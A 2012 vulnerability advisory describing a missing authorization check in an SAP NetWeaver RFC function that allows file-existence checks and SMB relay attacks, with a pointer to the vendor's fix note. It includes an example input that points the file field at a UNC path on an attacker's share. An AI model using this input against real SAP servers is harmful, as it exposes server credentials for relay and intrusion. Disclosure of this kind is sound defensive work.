Services Vulnerabilities Exploits Publications News Blog About DSecRG

[DSECRG-12-009] SAP NetWeaver PFL_CHECK_OS_FILE_EXISTENCE - missing authorization check and SMB Relay vulnerability

Missing authorization check in FRC function PFL_CHECK_OS_FILE_EXISTENCE.

Digital Security Research Group [DSecRG] Advisory #DSECRG-00226

Missing authorisation check in FRC function PFL_CHECK_OS_FILE_EXISTENCE

Application: SAP NetWeaver
Versions Affected: 7.02 sp6
Vendor URL:
Bugs: Missing auth check
Exploits: YES
Reported: 13.05.2011
Vendor response: 14.05.2011
Date of SAPNOTE Published: 10.19.2011
Date of Public Advisory: 20.01.2012
Author: Alexey Tyurin from DSecRG (research center of ERPScan)


Missing authorization check in FRC function PFL_CHECK_OS_FILE_EXISTENCE.

RFC Function PFL_CHECK_OS_FILE_EXISTENCE can be used for SMBRelay attack and to check the existence of a file.

An attacker can insert malicious UNC path in the "Target file on application server" field .

To conduct a successful SMB Relay attack, attacker should enforce to initiate SMB session on attacker's server via UNC path request.
The SMB client tries to access a remote SMB service on the attacker's machine.

Example: LONG_FILENAME = \\Attacker\Share\pic.jpg

It can be exploited remotely using RFC or webrfc without any additional autorization by any user.
Additionally it can be used by se37 transaction.


Fix Information
Solution to this issue is given in the SAP Security Note 1591146.

About DSecRG
The main mission of DSecRG is to conduct researches of business critical systems such as ERP, CRM, SRM, BI, SCADA, banking software and others. The result of this work is then integrated in ERPScan Security Scanner. Being on the top edge of ERP and SAP security DSecRG research helps to improve quality of ERPScan consulting services and protects you from the latest threats.
Contact: research [at] dsecrg [dot] com

About ERPScan
ERPScan is an innovative company engaged in the research of ERP security. It develops products for ERP system security assessment. Apart from this, the company provides consulting services for secure configuration, development and implementation of ERP systems, and conducts comprehensive assessment and penetration testing of custom solutions.
Our flagship products are "ERPScan Security Scanner for SAP" and "ERPScan Online" service which can help customers to perform automated security assessments and compliance checks for SAP solutions.
Contact: info [at] erpscan [dot] com

Vulnerabilities RSS RSS
[DSECRG-12-019] vCenter Orchestrator - password disclosure

[DSECRG-12-018] Oracle Application Server - multiple security vulnerabilities

[DSECRG-12-017] ASUS Net4Switch ipswcom.dll ActiveX - buffer overflow vulnerability

[DSECRG-12-016] SAP MessagingSystem - information disclosure

[DSECRG-12-014] SAP Internet Sales - XSS

[DSECRG-12-015] SAP Adapter Monitor - information disclosure

Vulnerabilities list

© 2002—2014, ERPScan
For quoting or using materials from this site
link is obligatory

+44 (20) 81334493    e-mail:
Rss: Vulnerabilities, Exploits, News, Publications, Summary